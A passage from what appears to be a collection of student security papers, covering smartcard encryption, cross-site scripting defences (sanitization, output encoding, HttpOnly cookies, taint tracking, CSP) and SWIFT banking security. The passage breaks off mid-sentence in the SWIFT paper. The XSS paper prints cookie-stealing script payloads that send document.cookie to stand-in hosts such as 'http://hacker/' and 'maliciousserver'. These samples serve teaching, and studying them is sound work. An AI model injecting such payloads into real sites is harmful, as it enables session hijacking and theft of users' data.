the decrypted result is encrypted again with K3. Because of
these three separate operations, it will run three times slower
than its predecessor, DES, but it is much more secure.

3.1.2 Triple Data Encryption Standard security
3DES provides 112 bits of effective cryptographic strength.[6]
This means that it would be impossible for modern com-
puters to ever crack 3DES encryption through brute-force
methods. But, 3DES does leave itself vulnerable to certain
attacks like side channel attacks and Known-plaintext at-
tacks. For example, a research team from Ruhr-University
Bochum was able to use a form of side channel attack called
power analysis to examine the power consumption of a trans-
portation smartcard to extract the smartcard’s 112 bit secret
key. [10] By using a digital oscilloscope, attackers can exam-
ine variations in power consumption to determine operations
like multiplication and division which could lead to the dis-
covery of the secret key. Known-plaintext attacks take ad-
vantage of the fact that data encrypted using this method
will not be unique if compared to another piece of data that
is the same as the original. For example, on November 27th,
2013, Target, a large American supermarket chain, discov-
ered that hackers had breached its database and stole credit
card pins that were encrypted using 3DES. Target claimed
that without the secret key, the pin information should be
secure. However, hackers can use known-plaintext attacks
to find a correlation between the most common pin numbers
like ”1234”and ”0000”and the most common encrypted data
and match them together. Furthermore, if a hacker had his
own pin information already in Target’s database, he can see
what his pin was encrypted to in order to glean information
about the secret key. [9]

3.1.3 The next generation of smartcard encryption:
AES

In 1997, the National Institute of Standards and Technol-
ogy (NIST) conducted a public competition to find a more
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Figure 5: The most common pin is 0000. By looking
for the most common Encrypted Pin, there is a high
chance that it will decrypt to 0000.

secure encryption algorithm than DES and 3DES, which
were the current standard encryption algorithms at the time.
The purpose of this competition was to find an algorithm
for securing sensitive but unclassified material by the U.S
government. AES, otherwise known as the Advanced En-
cryption Standard, is based on the Rijndael Cipher, which
bested 14 other ciphers after extensive analysis by NIST
and became the new encryption standard for the US Gov-
ernment. Although this process was aimed toward being
used by the US Government, the private sector is likely to
adopt the same standard as a replacement for 3DES even-
tually. NIST believes both encryption standards will exist
until AES is fully adopted around the year 2030. [2] Many
companies are already beginning to adopt the option to al-
low AES-encryption, including the MIFARE DESFire EV
series, which combines AES with 3DES.

3.1.4 What makes AES more effective?
The common encryption key lengths of AES are much longer
than 3DES with key-length options of 128, 192, and 256
bits compared to the 64 bit key length in 3DES. This means
brute-force attacks will be absolutely impossible as it would
take the fastest computer in the world 1 billion billion years
(1.02 x 1018 years) to crack a 128-bit AES key. [3] Addi-
tionally, there are currently no practical ways to attack AES
indirectly using methods like chosen-plaintext or known-
plaintext attacks. The closest method to breaking the AES
cipher, a biclique attack, would only take between two to
four bits of security away, leaving it with between 124-126
bits of security for an AES128 encryption, which is still im-
possible to brute-force.[4]. The 128 bit block size is also
double that of 3DES. Many cryptanalysts also believe that
AES is about 40 percent faster on hardware and software
than 3DES, which means AES can be implemented as an ef-
fective cryptography scheme in near any type of device with
small or weak processors.[8]

4. CONCLUSIONS
As Near Field Communications and Radio Frequency Iden-
tification become more advanced and everyday tasks become
more convenient, it is very easy to overlook the need to se-
cure these new technologies. Instead of living in blissful
ignorance, it is imperative that the widespread security is-
sues in these common consumer technologies are addressed
before malicious hackers take advantage of weak security
systems and wreak havoc. As we saw with NFC technology,

Figure 6: The hacker knows that her pin is 8421.
Because 3DES will encrypt identical pins to identi-
cal encyrpted pins, she knows that anyone with the
same encrypted pin has the pin 8421

security is getting more secure with the introduction of the
Advanced Encryption Standard by the National Institute of
Standards and Technology and the military of the United
States of America in 2001. Despite these advances, the onus
lies on the private sector that has failed to widely imple-
ment AES encryption to protect its consumers. As public
awareness of the aforementioned security risks rises, we be-
lieve people will begin to demand that companies implement
stronger security.
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ABSTRACT 
Web applications have become one of the most dominant way to 

provide access to online service. However, web application 

vulnerability are being discovered and disclosed at an alarming 

rate. Among the multitude of web application layer attacks, Cross 

Site Scripting (XSS) attacks are the one that easy to execute, but 

difficult to detect and prevent. XSS vulnerabilities have been 

reported since 1990s and a lot of sites such as Twitter, Facebook, 

YouTube and Orkut have been affected by XSS attacks.  In recent 

years, XSS vulnerabilities even surpassed buffer overflows to 

become the most commonly reported security vulnerability.  XSS 

and many similar attack appear are causing great troubles for 

people. As XSS attacks account for significant increasing security 

issues in recent years, defending web-based applications from 

XSS appears to be an inevitable battle. This paper goes in-depth 

into the various techniques used in defense against such attacks. 

We present a study of XSS attacks, their preventions and 

limitations, utilizing a multitude of examples to illustrate each 

point. In addition, some recent case studies have been included 

for further support.  

Keywords 

XSS, security  

1. INTRODUCTION 

1.1 Definition 
Cross-site scripting (XSS) is a type of computer security 

vulnerability typically found in Web applications. XSS attacks 

occur when in which malicious scripts are injected into the 

otherwise benign and trusted web sites. It becomes popular among 

hackers in the field of web application attack.  

1.2 Current situation 
According to the Study of Symantec, Cross-site scripting carried 

out on websites accounts for approximately 84% of all security 

vulnerabilities and it is increased by an estimated 69% between 

Q2 and Q3 of 2012. The effect of XSS ranges from petty offence 

to a significant security failure, largely depending on the 

confidentiality of the data stored in the site and the degree of 

security defense implemented by the site’s owner. 

1.3 History 
One of the earliest references to the XSS threat is from a message 

to thecomp.sys.acorn.misc newsgroup in 1996. The message 

threats to nick to nick the user’s history, email address and even 

download malicious files into the server cache and execute them. 
The XSS explosion came in 2005 when the Samy worm took 

down MySpace. In October of 2005. The first major XSS worm, 

literally Samy Worm, achieved to attack the social networking 

website MySpace and shut down its service. The worm was 

designed to infect a single user’s profile page and subsequently 

spreading to a million users within a day. 

1.4 Types 
Technically, here are two common types of attacks. One type 

attack named Non-Persistent Attack is a special crafted link 

waiting for victim to click it while the other named Persistent 

Attack is embedding a web page with some malicious code to trap 

the visitors. Following are the demonstration of the two types of 

attacks with some examples. With either non-persistent or 

persistent XSS vulnerabilities, a hacker has an expensive range of 

methods by which he can exploit users and cause network and 

financial damage. 

1.4.1 Non-persistent attacks 

1.4.1.1 Example 1 JavaScript Injection 
City-link is a company specializes in package delivery in South-

East Asia. Below are a screenshot of its company website, and the 

search box that is intended for tracking shipment. 

 

 

 

Figure 1: CityLink Company website: 

http://www.citylinkexpress.com/main.php 
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Figure 2: The search field to track shipments 

Figure 3: Result of the execution of the Javascript Code 

GET http://hacker/path/_web_browser_cookie_data 

HTTP/1.1  

Host: host 

User-Agent: Firefox/1.5.0.1 

Content-length: 0 

 

 

 

 

 

 

 

 

 

Figure 2 Search fields are the common source incurring XSS 

vulnerability. As for this search field, the code supporting it in the 

backend is like the following:  

Figure 3 illustrates what happens when the original search term is 

replaced with the following HTML/JavaScript code:            

The resulting Web page initiates a harmless alert dialog box, as 

instructed by the submitted code that’s now part of the Web page, 

has entered into the webpage context and executed. The new 

HTML/JavaScript code will become: 

And since the JavaScript code is executed within the webpage 

context, it has access to the cookie data and alerts it out. 

1.4.1.2 Example 2 Cookie theft exploit 
Hackers will able to include more sophisticated XSS attacks to 

harm users by modifying this URL. One typical example is a 

simple cookie theft exploit. Consider the following code: 

The previous JavaScript code creates an image DOM (Document 

Object Model) object.  The image object is then assigned an off-

domain URL to “http://hacker/” appended with the Web browser 

cookie string where the data is sent. 

The following is an example of the HTTP request that is sent.   

Once the hacker has completed his exploit code, he’ll propagate 

the crafted link through spam email, message board posts, IM 

messages and others to attract user clicks. What makes this attack 

so effective is that users are likely to click on the link because the 

URL contains the real website domain name, rather than a look-

alike domain name or random IP address as in normal phishing 

emails.       

 

1.4.2 Persistent attacks 
Persistent XSS attacks most often occur in either community 

content driven websites or Web mail sites and do not require 

specially crafted links for execution. A hacker just submits XSS 

exploit code to an area like blog comments, user reviews and chat 

rooms. Once a user visits the infected Web page, the code is 

executed automatically. It is much more dangerous than non-

persistent injection because the user has no way to indicating an 

attack. 

1.4.2.1 Example of persistent attacks 
This sample web application we’ve given below that demonstrates 

the persistent XSS attack does the following: 

There are two types of users: “Admin” and “Normal” user.  When 

“Admin” log-in, he can see the list of usernames. When “Normal” 

users log-in, they can only update their display name. 

Now the attacker log-in as a normal user, and he will enter the 

following in the textbox as his display name: 

The above information entered by the attacker will be stored in 

the database (persistent). 

Now, when the admin login to the system, he will see a link 

named “My Name” along with other usernames. When admin 

clicks the link, it will send the cookie which contains data like 

session ID, to the attacker’s server. With the admin’s session ID, 

the attacker can act like “Admin” until the session is expired. The 

cookie information will be something like the following: 

Once the hacker knows the PHPSESSID, he can use this session 

to get the admin privilege until PHPSESSID expires. 

2. TECHNIQUES AGAINST XSS ATTACKS 

2.1 Input sanitization 
Input sanitization comes into play by detecting if there are 

malicious codes in the input contents and terminate the process if 

necessary. 

<input type="text" name="address1" value="value1from"> 

”><SCRIPT>alert(document.cookie)</SCRIPT><!- 

<input type="text" name="address1" value=" 

"/><script>alert(document.cookie)</script><!-"> 

”><SCRIPT>var+img=new+Image();img.src=”http://hack
er/”%20+%20document.cookie;</ SCRIPT> 

<a href=# onclick=\"document.location=\'http://not-real-

xssattackexamples.com/xss.php?c=\'+escape\(document.coo

kie\)\;\">My Name</a> 

 

xss.php?c=PHPSESSID%3Dvmcsjsgear6gsogpu7o2imr9f3 
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2.1.1 Two approaches to perform input sanitization 

2.1.1.1 Blacklist-based approach 
A Blacklist-based approach keeps a list of situations that are 

potentially harmful to the system, and will not accept inputs that 

are in the list. The advantage is that no safe element will be 

treated as illegal ones, and it is relatively easy to implement. 

However, it also suffers vulnerabilities that are induced by 

situations that are not known yet. Hence, it is vital to keep 

constant update of the list. 

2.1.1.2 Whitelist-based approach 
In contrast, a whitelist-based approach validates given input by 

only allowing those in the list. The advantage is that it is more 

comprehensive, and is safe against unknown attacks. However, in 

reality, it can sometimes be hard to implement a white list. For 

example, “>” is often used by hackers to maliciously closes the 

preceding tag. It would be ideal to simply block the character. But 

this might be difficult when legitimate usage of “>” is also present. 

Even though, the whitelist-based approach is still considered a 

better choice, due to its comprehensiveness (Testing Security 

Whitelists vs Blacklists). 

2.1.2 Situations to perform user input sanitization 
It would be ideal to perform input sanitization for all user-input 

values. However, the following scenarios shall require special 

attention, as they are common vulnerabilities that XSS attacks 

exploit (OWASP, 2014). 

2.1.2.1 Insert input into HTML element content 
This is very common when the website displays the user entered 

searching keyword. 

2.1.2.2 Insert values into HTML attributes 
The example shown at the beginning of this section falls under 

this scenario. 

2.1.2.3 Insert values into Javascript data fields 
One example would be pass a parameter to window.setInterval() 

whereby ideally only numbers should be accepted. 

2.1.2.4 Insert values into CSS property fields 
Hackers can insert values like “javascript: alert(‘Malicious!’)” as 

an argument of background-url property. The site administrator 

shall ensure the background-url does not start with javascript. 

2.1.2.5 Use HTML markup 
This can be tricky as if simple sanitization is performed, the 

intended HTTP markup will be broken, and hence will not 

function. One can resort to external libraries such as OWASP Java 

HTML Sanitizer (used for Java), PHP Html Purifier, 

JavaScript/Node.JS Bleach and Python Bleach. 

2.2 Output encoding 
The purpose of encoding is to tell the browser that the data sent is 

data instead of anything that can be executed or interpreted. The 

advantage of doing this is when an attacker sent some malicious 

code to browser such as some scripts, the victims will not be 

affected because the browser will never execute it. 

2.2.1 What should be encoded 
As XSS attacks are usually through different ways, HTML, 

JavaScript, CSS and sometimes XML data, we need to encode all 

of them. 

2.2.2 How to encode? 
Below is a list of mechanisms to encode data sent to browsers: 

Table 1: Encoding Mechanisms for different encoding type 

Encoding 

Type 
Encoding Mechanism 

HTML 

Encoding 
Convert & to &amp; 
Convert < to &lt; 
Convert > to &gt; 
Convert “ to &quot 
Convert ‘ to &#x27 
Convert / to &#x2F 

JavaScript 

Encoding 
Except for alphanumeric characters, escape all 

characters with the \uXXXX unicode escaping 

format (X = Integer). 

CSS 

Encoding 
CSS escaping supports \XX and \XXXXXX. Using 

a two character escape can cause problems if the 

next character continues the escape sequence. 

There are two solutions (a) Add a space after the 

CSS escape (will be ignored by the CSS parser) (b) 

use the full amount of CSS escaping possible by 

zero padding the value 

And below shows how to call the ESAPI library functions to 

prevent XSS attacking 

2.2.3 When to encode? 
We should not overuse all the techniques above to ensure the 

safety of our computer and private information without knowing 

when to encode, otherwise all the web data such as HTML cannot 

be presented properly. Therefore, we should do output encoding 

when we thought the data is potentially harmful. For example, we 

can use HTML encoding when untrusted data is inserted into 

HTML flags such as <DIV> and </DIV>. And luckily, we do not 

have to check whether the data is trusted or not by ourselves 

because both the library ESAPI and AntiXSS provide such 

techniques for us. 

 

2.3 Use cookies protection flags 

2.3.1 HttpOnly cookies flag 

2.3.1.1 HttpOnly cookies flag and XSS 
An HTTP cookie is sent from a web server and stored in the 

browser when the user is browsing certain website. HTTP 

Cookies were set up as a reliable mechanism for websites to 

remember state information of users. Most XSS attacks aim at the 

cookie data disclosure, but if a web server could mark a cookie 

indicating that it should never be accessed by the client with the 

support of the client browser, the issue can be mitigated 

2.3.1.2 How HttpOnly cookies flag works 
One option to avoid the XSS attack is to mark the cookies as the 

HttpOnly cookie by using the HttpOnly cookie flag. It is an 

additional flag included in a Set-Cookie HTTP response header. It 

tells the browser that this particular cookie should only be 

accessed by the server, so that client script cannot access the 

cookie. As a result, even if a user accidentally accesses a link that 

exploits some XSS flaw, the browser will not reveal the cookie to 
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Set-Cookie: <name>=<value>[; <Max-Age>=<age>] 

[; expires=<date>][; domain=<domain_name>] 

[; path=<some_path>][; secure][; HttpOnly] 

the malicious. However, if a browser does not support HttpOnly, 

the HttpOnly flag will be ignored by the browser, thus only 

creating a script accessible cookie. People can test their browsers 

for HttpOnly support by using WebGoat.  Luckily, most modern 

browsers do support the HttpOnly flag. To illustrate, if Internet 

Explorer 6.0 SP1 (available in Microsoft Windows® XP SP1 and 

at the Windows Update Site) detects a cookie marked HttpOnly 

and some client script attempts to read the cookie, Internet 

Explorer returns an empty string, thus will not send the data back. 

The following shows the syntax of the HttpOnly flag used in this 

header: 

2.3.1.3 How Cross-Site Tracing Attacks can bypass 

HttpOnly flag protection 
However, there are still ways to ignore the HttpOnly support and 

steal HttpOnly cookies with XSS. One of the well-known 

techniques is the XST (cross-site tracing) attack, which is the 

combination of HTTP TRACE method and XSS.  

In fact, one of the most frequent attack patterns in XSS is to 

access the “document.cookie” object and send it to a web server 

controlled by the attacker. HttpOnly flag forbids scripting 

languages to access the object, so that it protects it from being 

sent to a third party. Nonetheless, the TRACE method can be used 

to bypass this protection and access the cookie.  

It turns out that modern browsers block the HTTP TRACE 

method in XMLHttpRequest. However, if the attacker finds 

another way of sending HTTP TRACE, then he can bypass an 

HttpOnly flag. There are some other ways to send TRACE 

requests with browsers. For example, it can be done by using Java. 

We can conclude that HttpOnly cookie cannot eliminate the risk 

of XSS when using alone. 

2.3.2 Use Secure cookie flag 
HTTPS is a secure communication protocol resulting from 

layering the HTTP on top of the SSL/TLS protocol. It creates a 

secure channel over an insecure network by the bidirectional 

encryption of data flow. The web servers can send encrypted 

cookies safely so that it cannot be eavesdropped. The secure 

cookie flag is an additional flag set on a cookie, instructing the 

browser to send this cookie only when on HTTPS transmissions. 

It is acceptable for the server to request the browser to set secure 

flag on over HTTP. However, the browser should include them 

only when it is in responses to HTTPS.  

If the secure attribute for the sensitive cookies in HTTPS sessions 

is not enabled, it could cause those cookies sent in plain text in 

the HTTP session. Also, if the browser does not set the secure flag 

for the session cookie in an HTTPS session, it can cause the 

cookie to be sent in HTTP requests and make it easier for remote 

attackers to capture this cookie.  

2.4 Dynamic Data Tainting 
Many XSS attacks send malicious code to the server and then the 

malicious can code transfer sensitive information of user to the 

attacker.  The goal of this method is to prevent sensitive data from 

transferring to the third party.  One of the proposed solution to 

defend this kind of attack is to monitor the transfer of sensitive 

information. To achieve this method, we need to use the technique 

based on the concept of dynamic data tainting where sensitive 

data is first marked or tainted, and then, when some scripts 

running in the web browser are trying to access sensitive data is 

accessed, the system will dynamically track the use of the 

sensitive data. When the third party tries to access the tainted data, 

the system will take some actions such as logging, preventing the 

transfer or stopping the program with an error.  

The tainted analysis can track the data dependencies.  The 

untainted variable will also become tainted when a tainted value is 

assigned to it.  Moreover, if some variable is computed by the 

tainted value, it gets tainted as well.  The solution handles direct 

dependencies where the execution of the program depends on the 

tainted value.   

2.4.1 Sensitive Data Sources 
It is necessary to identify those sensitive data sources, since these 

data must be initially tainted so that its use by scripting code can 

be appropriately tracked. A data source is considered sensitive 

when it contains sensitive information which an adversary can use 

to launch attacks or to leak information about the user.  Below is 

the table that lists some sensitive data in the system. 

Table 2: Browser Sensitive Data Objects with Key Properties 

Object Properties 

Document  cookie, domain, forms, lastModified, 

links, referrer, title, URL 

Form  Action 

Any form Input 

element  
checked, defaultChecked, defaultValue, 

name, 

selectedIndex, toString, value 

History current, next, previous, toString 

Select option defaultSelected, selected, text, value 

Location and 

Link 
hash, host, hostname, href, pathname, 

port,protocol, search, toString 

Window defaultStatus, status 

2.4.2 Taint Propagation 
JavaScript programs of the web page are parsed and compiled into 

some internal bytecode. Then the JavaScript engine will interpret 

the bytecode instructions. To keep track of the use of sensitive 

information by JavaScript programs, we should clearly define the 

bytecode instructions so that taint information is correctly 

propagated. The JavaScript bytecode instructions can be divided 

into the following types of operations such as assignment, 

arithmetic and logic operations (+, -, &, etc.), control structures 

and loops (if, while, switch, forin) and function calls and eval. 

When an instruction is executed, some operands could be tainted. 

Thus, there has to be a rule that defines under which 

circumstances the result of an operation has to be tainted for each 

instruction.  After these rules are defined, the system will be 

enough to handle XSS attacks that use direct dependency of 

tainted data. 

2.5 Static Data Tainting 
Dynamic data tainting can keep track of sensitive value through 

data dependencies efficiently.  However, it may not detect all 

kinds of control dependency. For example, consider the following 

attack script. 
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Figure 5: Dialog Box for User choice (Ask for data Transfer) 

 

 

 

 

 

 

1: x = false; 

2: y = false; 

3: if (document.cookie == "abc") { 

4: x = true; 

5: } else { 

6: y = true; 

7: } 

8: if (x == false) { 

9: // Line 6 was executed, and x is not tainted 

10: } 

11: if (y == false) { 

12: // Line 4 was executed, and y is not tainted 

13: } 

Figure 4: Attack using indirect control dependency. 

 

 

 

 

 

 

1: <!--a input registration form -->  

2: <form action="http://badserver/processregistration"  

3: name="registrationform" method="post">  

4: <input type="text" name="firstnamechtext">  

5: <input type="text" name="lastnamesearchtext">  

6: <input type="text" name="DOBtext">  

7: <input type="text" name="emailtext">  

8. </form> 9 

10: <!-- malicious script to transfer cookie-->  

11: <script>  

12:document.registrationform.action="http://maliciousserver

/forgedreg" +  

13: "?stolencookie=" + document.cookie;  

14: document.registrationform.submit();  

15: </script>  

 

This script shows an attack using indirect control dependency.  If 

some condition on the cookie value holds, x is set to true, while y 

remains false, whereas otherwise, x is false and y is true. In either 

case, only one of these two variables will be tainted dynamically 

while the other variable which is untainted can be used to leak 

information. Therefore, another approach, static analysis, is 

necessary to guarantee that no information can be leaked using 

indirect control dependencies. 

The basic idea of static analysis is to analyze every possible 

branch of possible tainted data.  It ensures that all the variables 

that are assigned values will be retrieved.  For example, in the 

previous attach script, the method forces both x and y to be 

tainted in all the possible branches.  This makes it impossible for 

the attacker to retrieve the sensitive data without triggering an 

XSS alert prompt.  To this end, we can just perform a simple but 

effective linear static pass through the code of tainted scope.  For 

example, one JavaScript function for assigning values is setValue.  

It takes in some argument variable and assigns its value to other 

variable.  In this case, if the static analysis encounters such code 

segments during its linear pass through the tainted scope, it taints 

the corresponding variable which is given as an argument to 

setValue.  This method covers all possible program paths and 

therefore prevents indirect control dependencies from leaking 

sensitive data. 

2.6 Data Transmission 
We have covered how to track the use of sensitive data.  Next we 

need to take actions to prevent the data from transferred. The 

approach allows malicious code to do everything in the context of 

web browser.  However, the system tracks and controls the 

process of the malicious code.  Whenever the malicious code tries 

to transfer sensitive information, the user will be prompted to 

allow or reject the transfer. 

For example, the Javascript below can change the behavior of the 

form.  This code segment can transfer the data of a POST request 

on the server to attackers.  

  

 

 

 

The data of a POST request is usually not stored in the web server 

and contain a lot of sensitive information.  Thus, users should be 

prompted whenever such code tries to transfer the sensitive 

data.  Below is one possible method to prompt the user by the 

dialog box. 

 

2.7 Content Security Policy 
Content Security Policy (CSP) was developed by Mozilla 

Foundation, and is implemented at the browser side. It instructs 

users to maintain a source whitelist for the execution of client side 

scripts of web applications. It tells the browser through special 

HTTP header, specifying the acceptable sources for rendering 

resources.  

If the server’s response contains the Content-Security-Policy 

header, the client browser will enforce the specified policy, which 

is represented as derivatives of Content-Security-Policy header. 

To better prevent XSS attacks, some features, such as inline 

Javascript, DOM event attributes like onclick, anchor tags whose 

href value is a Javascript instead of an url, are blocked by default. 

CSP is currently supported in all major browsers. It also supports 

comprehensive protection over different types of possible 

resources. Moreover, it provides additional functionality such as 

reporting and heuristic filtering of potential reflected XSS attacks. 

A table that covers the majority of the supported directive can be 

found below (OWASP, 2013). 
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Content-Security-Policy: script-src 'self' https://apis.google.com 

 

 

 

Figure 7: A Sample CSP Report 

Table 3: CSP supported directives 

Default-src Define loading policy for all resources type in case 

a specific resource type is not defined 

script-src Define which scripts can be executed 

object-src Define from where can the resource load plugins 

style-src Define which CSS can be applied 

img-src Define the sources of images that can be loaded 

media-src Define the sources of videos and audios 

frame-src Define from where the webpage can embed frames 

font-src Define from where the webpage can load fonts 

form-action Define which URIs can be used in action attribute 

of HTML forms 

sandbox Specify a HTML5 sandbox policy to be enforced 

reflected-

xss 

Activate or deactivate heuristic on filtering 

reflected XSS attacks 

report-uri Specify the URI for users to send reports 

 

For example this CSP:  

It specifies “self” and https://apis.google.com as two valid sources 

for web resources. When the browser encounters scripts from 

other websites, it will alert the user the following error: 

Figure 6: Error message from browser when scripts are 

from other websites 

Apart from specifying restrictions on resources that the protected 

webpage can load, CSP also provides a different form of 

protection called sandbox. By specifying the sandbox directive, 

the browser would treat the current page as it was loaded inside an 

iframe with a sandbox attribute. The sandbox flag is defined in 

HTML5 that aims to further restrict potentially untrusted 

resources. For example, it would disallow content from navigating 

browsing contents other than those sandboxed items. 

In addition, CSP is powerful in protecting against XSS attacks as 

it can let site administrators be alerted of policy violations so that 

he can quickly take actions. While CSP allows users to block 

untrusted scripts at client-side browsers, its report functionality 

also allows users to send back reports to server administrators so 

that they can be notified of the potential threats. The user can do it 

by POST a JSON-formatted report to the location specified in the 

report-uri directive (West, 2012). A sample CSP report can be 

found below. 

 

3. CONCLUSION 
In summary, this paper introduces many practices against XSS 

attacks which are proven to have significant value by security 

researchers. It is strongly advised for organizations or individuals 

to adapt these techniques to make the security system more robust 

against classical XSS attacks.  However, the technologies that are 

discussed above are not expected to be exhaustive. As new 

technologies advancements are introduced, more sophisticated 

methods will be figured out and be employed by the attackers in 

the future; but by understanding the mechanism of defenses 

against typical XSS attacks, the organizations or individuals will 

be equipped with enough knowledge to come up with new 

solutions to mitigate the future form of XSS attacks that will be 

inevitably raised. 

4. REFERENCES 
[1] Dawid C., (2014). Securing Cookies with HttpOnly and 

secure Flags. resources.infosecinstitute.com  Retrieved April 

9, 2014, from http://resources.infosecinstitute.com/securing-

cookies-httponly-secure-flags/.  

[2] Jeremiah, G., (2007). Cross-Site Scripting Worms & Virus. 

Retrieved from April 7, 2014. 

[3] Jeremiah, G., (2013). Cross-Site Tracing (XST)-The new 

Techniques and Emerging Threats to Bypass Current Web 

Security Measures Using TRACE and XSS. cgisecurity.com. 

Retrieved April 9, 2014, from  

http://www.cgisecurity.com/whitehat-

mirror/WhitePaper_screen.pdf\ 

[4] Jeremy, P., (2011). Preventing XSS Attacks. acunetix.com. 

Retrieved April 6, 2014, from 

http://www.acunetix.com/blog/web-security-

zone/articles/preventing-xss-attacks/ 

[5] Kumar, M., Kumari, S. : Cross Site Scripting– Client Side 

Solution. IOSR Journal of Engineering (IOSRJEN) , Vol. 3, 

Issue (July. 2013).  Retrieved from 

http://www.iosrjen.org/Papers/vol3_issue7%20(part-

4)/A03740106.pdf 

[6] OWASP. (2013, Aug 31). Content Security Policy. Retrieved 

from OWASP org: 

https://www.owasp.org/index.php/Content_Security_Policy 

[7] OWASP. (2014, Jan 7). SecureFlag. Retrieved from 

OWASP org: https://www.owasp.org/index.php/SecureFlag 

[8] OWASP. (2014). XSS (Cross Site Scripting) Prevention 

Cheat Sheet. OWASP.org Retrieved April 6, 2014,  from 

https://www.owasp.org/index.php/XSS_%28Cross_Site_Scri

pting%29_Prevention_Cheat_Sheet 

132

https://apis.google.com/
http://resources.infosecinstitute.com/author/dawid-czagan/
http://resources.infosecinstitute.com/securing-cookies-httponly-secure-flags/
http://resources.infosecinstitute.com/securing-cookies-httponly-secure-flags/
http://resources.infosecinstitute.com/securing-cookies-httponly-secure-flags/
http://resources.infosecinstitute.com/securing-cookies-httponly-secure-flags/
http://www.cgisecurity.com/whitehat-mirror/WhitePaper_screen.pdf/
http://www.cgisecurity.com/whitehat-mirror/WhitePaper_screen.pdf/
http://www.acunetix.com/blog/web-security-zone/articles/preventing-xss-attacks/
http://www.acunetix.com/blog/web-security-zone/articles/preventing-xss-attacks/
http://www.iosrjen.org/Papers/vol3_issue7%20(part-4)/A03740106.pdf
http://www.iosrjen.org/Papers/vol3_issue7%20(part-4)/A03740106.pdf
https://www.owasp.org/index.php/Content_Security_Policy
https://www.owasp.org/index.php/SecureFlag
https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet
https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet


[9] Testing Security Whitelists vs Blacklists. (n.d.). 

TestingSecurity.com. Retrieved April 6, 2014, from 

http://www.testingsecurity.com/whitelists_vs_blacklists 

[10] Vogt, P.,  Nentwich, F.,  Jovanovic, N.,  Kirda, E.,  Kruegel, 

C., and Vigna, G.(2007) : Cross-Site Scripting Prevention 

with Dynamic Data Tainting and Static Analysis.  Retrieved 

from http://publik.tuwien.ac.at/files/pub-inf_5310.pdf 

[11] Warwick, A.,(2012). XSS attacks remain top threat to web 

applications, Computerweekly.com, Retrieved April 8, 2013, 

from 

http://www.computerweekly.com/news/2240168930/XSS-

attacks-remain-top-threat-to-web-applications 

[12] West, M. (2012). An Introduction to Content Security Policy. 

Retrieved from HTML5 Rocks: 

http://www.html5rocks.com/en/tutorials/security/content-

security-policy/ 

 

 

 

133

http://www.testingsecurity.com/whitelists_vs_blacklists
http://publik.tuwien.ac.at/files/pub-inf_5310.pdf
http://www.computerweekly.com/news/2240168930/XSS-attacks-remain-top-threat-to-web-applications
http://www.computerweekly.com/news/2240168930/XSS-attacks-remain-top-threat-to-web-applications
http://www.html5rocks.com/en/tutorials/security/content-security-policy/
http://www.html5rocks.com/en/tutorials/security/content-security-policy/


134



Banking Systems 
Wang Hanpeng 

School of Computing 
National University of Singapore 

13 Computing Drive 
Singapore 117417 

a0083338@nus.edu.sg 

Xu Xianan 
School of Computing 

National University of Singapore 
13 Computing Drive 
Singapore 117417 

a0084556@nus.edu.sg 

Zhao Bozhi 
School of Computing 

National University of Singapore 
13 Computing Drive 
Singapore 117417 

a0084383@nus.edu.sg 

 

 

ABSTRACT 
In this paper, we introduce various kinds of the banking systems 

and examine the insecure worries in these systems. 

 

General Terms 
Security 

 

Keywords 
SWIFT System, ATM, Credit Card 

 

1. SWIFT SYSTEM 

1.1 What is SWIFT 

SWIFT is the abbreviation for “Society for Worldwide 

International Financial Telecommunications”. Before SWIFT 

came into existence, international interbank telecommunication 

was handled through Telex-Messages. The Telex Networks were 

developed from the 1930s, when the time reached 1970s, as the 

technologies improved, they became insecure for many industries. 

Also, since they were not automated, they appeared to be outdated, 

and eventually been replaced by SWIFT system. Compare to the 

old Telex system, SWIFT provides a more secure and efficient 

means of sending payment instructions between member banks. 

 

1.2 How SWIFT Works 

SWIFTNet is SWIFT Internet protocol based messaging platform, 

it offers four messaging services, among them, SWIFTNet FIN is 

the most important one. Below is a simple SWIFTNet FIN 

message: 

 

 

 

Figure 1: SWIFT FIN message 

 

The system works in a “store-and-forward” mode, since receiver 

might not be online at the time of transmission. SWIFT stores the 

message and delivers it as soon as the recipient is ready to receive 

it. 

 

1.2.1 How to Ensure Security: 

1.2.1.1 Authentication and Integrity 

- based on proprietary smart cards and bilateral key 

exchange (BKE). In old days, the keys were exchanged 

when the two banks first set up the relationship, and 

only been enabled after both sides confirmed the key 

had been safely received and installed. Now, the keys 

are transferred by public key infrastructure and 

protected by a digital signature. 

- Message Authenticity Code (MAC) is used to assure 

authenticity. The MAC is calculated both in the sending 

bank and receiving bank. 

 

 

Figure 2: SWIFT Architecture 
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1.2.1.2 Non-repudiation 

- Just as the diagram illustrated, before the message 

reaches the destination, it will go through local Regional 

General Processor (RGP), SWIFT and RGP in 

receiver’s country. All these three institutes will log the 

message.[1] 

- Repudiation control from multiple logging is better than 

the integrity control 

1.2.1.3 Data Transfer 

- SWIFTNet runs on SWIFT’s Secure Internet Protocol 

Network (SIPN), a protected, private network that is 

also separated from Internet. SWIFT has adopted a 

multi-vendor model for its SIPN [2].The new 

architecture uses state-of-the-art security and ensures 

highest resilience and lowest risk.  

- The key aspect of this architecture is the co-existence of 

multiple IP network partners. SWIFT uses four network 

partners, each with a standard offering of managed IP-

VPN services. 

 

1.3 What Are the Insecure Worries 

Being a system that is used widely by financial institutes all 

around the world, SWIFT system might be the most secure system 

in the world. During the first 20 years after SWIFT’s 

establishment, there was no single report of external fraud [1]. 

And even today, a possible attack most likely comes internally. 

 

1.3.1 Malicious Employee 

The typical attack is a bank programmer inserting a bogus 

message into the processing queue. However, it is unlikely to be 

successful.  

 

The programmer might be knowledgeable about his in-charged 

part, but the SWIFT system is such a complicated system that he 

would not know other controls in the system. Also, for large 

transactions, they are not processed entirely automatic, manpower 

is used to check the availability of the currency. And they will be 

able to spot out the fake transaction easily.  

In most all subparts of the SWIFT system, it has implemented the 

dual control to prevent the internal fraud. As soon as the bogus 

message goes to the next stage, other clerks would be able to find 

out that bogus message. 

 

1.3.2 Algorithm Used 

SWIFT system also uses keys to encrypt the messages; hence, 

theoretically it is also vulnerable to attacks regard key related 

issues.  

 

In order to make international transaction easier around the world, 

banks adopted the same security mechanism. The result is that the 

algorithm used could not been kept secret. Messages could be 

used to recover the key reversely. However, this attack is not 

practical since the SWIFT system is used prudently and it is 

